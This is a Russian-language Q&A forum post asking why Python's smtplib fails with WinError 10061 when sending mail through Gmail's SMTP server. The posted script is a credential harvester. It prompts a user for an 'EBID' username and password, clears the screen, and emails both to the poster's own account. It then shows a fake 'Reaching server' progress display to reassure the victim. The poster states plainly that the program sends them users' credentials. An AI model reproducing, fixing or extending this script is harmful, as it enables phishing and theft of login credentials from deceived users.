WinError 10061 при попытке использовать модуль smtp в python для самостоятельной отправки электронной почты через сервер Google - PullRequest
1 голос
/ 22 мая 2019

Я создаю эту программу, которая отправляет мне по электронной почте учетные данные пользователя. Я использую Python build 3.7.2 и SMTP для отправки по электронной почте. Тем не менее, при попытке успешно по электронной почте сам выдает ошибку:

[[WinError 10061] Невозможно установить соединение, так как целевой компьютер активно отказал в этом.

У меня нет опыта работы с SMTP, кроме как знаю. Я получил часть SMTP из видео на YouTube.

Я удалил реальный адрес электронной почты и пароль по понятной причине и заменил их соответствующими ярлыками. Вот мой код:

import os, time, sys, smtplib

os.system('color 17')
print ("Pleas type your EBID username.")
name = input (":")
time.sleep(1)
os.system('cls')
password = input("Your EBID Password\n:")
info = "Username: " + name + "\n" + "Password: " + password
content = info
mail = smtplib.SMTP('smtp.gmail.com', 587)
mail.ehlo()
mail.starttls()
mail.login('Myemailtosendmessage', 'passwordforthatemail')
mail.sendmail('Myemailtosendmessage', 'recieversemail',content)
mail.close()
time.sleep(1)
os.system('cls')
var = "Reaching server"
wait = 0
while wait < 5:
        wait = wait + 1
        var = var + "."
        print(var)
        time.sleep(1)
        os.system('cls')
time.sleep(3)

Ожидается, что он будет работать нормально и отправит электронное письмо на стр. "Содержание" на мой электронный адрес.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...